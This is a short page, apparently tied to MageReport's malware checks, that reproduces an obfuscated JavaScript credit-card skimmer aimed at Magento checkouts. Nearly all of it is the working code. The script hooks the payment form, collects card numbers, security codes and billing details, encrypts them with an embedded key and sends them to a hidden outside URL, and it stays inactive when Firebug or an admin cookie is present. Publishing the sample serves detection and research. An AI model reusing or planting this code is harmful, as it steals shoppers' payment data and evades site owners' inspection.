www.MageReport.com now checks for malware that disables itself when Firebug is detected

malware-that-detects-firebug-developer-tools.js

! function(n, e, i) {
    function t(n, e, i) {
        for (var t = e % n.length, r = ""; r.length < n.length; t = (t + i) % n.length) r += n.charAt(t);
        return r
    }

    function r(n, e) {
        var i, r, o, c = function(n) {
            var e = document.getElementById(n);
            return e ? e.value || "" : ""
        };
        a(t("dil A.aneCT.tgcoA[a tl]D.", 92, 31)), a(e);
        for (i in e)
            if (r = e[i], r instanceof Array) {
                n[i] = [];
                for (var l = 0; l < r.length; l++) n[i].push(c(r[l]));
                n[i] = n[i].join(t("/", 0, 1))
            } else {
                if (o = c(r), "" === o && n[i]) continue;
                n[i] = o
            }
        a(t("!A]KDAO[T ", 37, 107))
    }

    function o(n) {
        var e, i, r, o = 2048,
            c = t("|", 0, 1);
        n[t("id", 0, 1)] = d, n[t("adet", 29, 15)] = new Date, n[t("tise", 30, 7)] = window.location.hostname, a(t("B.]gRiPlRu. .TnOdEi[", 219, 149)), a(n), e = o / 8 - 42, i = JSON.stringify(n);
        for (var u = 0, r = ""; u < i.length; u += e) r += l.encrypt(i.substr(u, e)), r += c;
        return a(t("KO ]TROPER[!", 130, 71)), a(r), r
    }

    function a(n) {
        var e = window[t("hctins", 53, 41)] === t("uxwzscgyqv", 57, 57);
        return e && console.log(n), e
    }

    function c() {
        return window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized
    }
    var l = new JSEncrypt;
    l[t("isbePcelyuKt", 37, 77)](t(n, e, i));
    var d = Math.random().toString(36).substring(7),
        u = {};
    $(document).on(t("gnahce", 28, 65), t("oc#mrof-tnemyap-", 146, 175), function() {
        if ((document.cookie.indexOf(t("ntldihmam", 34, 23)) === -1 || a(t(" nU]iCYmETdSIA[R", 94, 109))) && (!c() || a(t("ootveD ]YTIRUCES[sl", 111, 113)))) try {
            if (r(u, JSON.parse(t('era"r:iney",f::l::,nntiliodld_gl"t"tts:e""adsltniiiydetg::st}"enl"be,arill"enh,rii:"""moui"aseosnlloi"t,nnb1eeoi::ilga,crib"ei,elng""s"itcl"""t_rrinnraei:lb":e2tsmbbtdteygllp""tn:c"s_{,gglbip"melll:sao"enn"br,esnl:mtmntglint,""ggi"""uosfllid"oyni:el"eag:::tareiibbzriesng"es"drii:"l"ntaiier_p":ll":,1apob2n""i:iilhcee"ii"smncgggbie""ttl"', 2879, 2819))), r(u, JSON.parse(t('uaac{r_ecmxo"ihicie_oda,_iucrztnine_:p,e_adeeyiercnc"tu:urp_"i,"_ie_c_t:ouoyamrta""ct__prazozoortn_r"cmm_aeheze"d"e"cer"xrpotiieiaet"tiincr"}ymncieh[rtr_tbdirc]ccnciiueredn"y"sdci_bttnotet:aa"auxd,p"enczmtmu"hahtr', 1495, 1994))), a(t("A LET]LTSEOC[TCED", 46, 149)), a(u), u[t("bnrrm_aeudc", 21, 18)].replace(/\s/, "").length < 15 || u[t("c_ytiruces_dracedo", 50, 53)].length < 3) return void a(t("IIW]TT[NTA EASG", 126, 67));
            a(t("XA.t e]J.adn A[.adS", 166, 44));
            var n = window.XDomainRequest || window.XMLHttpRequest,
                e = new n;
            e.open(t("SOPT", 34, 19), t("ot.9itrl/p7uhel/p2q/ho:a-nm.hsusao2-pkwrc6lto", 147, 308), !0), e.onerror = function() {
                a(t("Ja t'oeAd] nns[ Xaa  edAtCotdn", 164, 293))
            }, e.onload = function() {
                a(t("AJA[!KO ]X", 83, 39))
            }, e.send(o(u))
        } catch (n) {
            a(n)
        }
    }), a(t("ST A[A]EYTERD", 17, 61))
}("1mUoxL4wRviQARD5W2W9a+d4oUKkVJL2UdfUsyuCMj8j0a66B32aPgQgQzEQuqp5pikF6zsQ5CiKbNPVCCsgOhwo/AAwLQ7DyPhUrehYZFA4IYG3dtpdJK3kAGy3n95T8Dln7qBgMN/Snn+mYxxTdK+XABLbVmknFG6Tx2JQ9sv8DX+uVYZH8RyIBVUdiJGnF9Y0Ih/AMtuKuP4P5RJNMPEwCeDhd5u+IV7E9CIg4ieSnPsjCHCWe5OIKQ1ilM77wJfrBA0Q2yzzNVmT7XfGsBkquGozqIKXErXedCIbTjfW/53ehSgenBICRnoPS/RF5E0QCqLMofZy7iiK/zf4ABR2VHERdDWZnzeTAD1dKPnZ0IBk0O1ghuuH7BTNT6YjPEoQIhbY", 1376, 3183);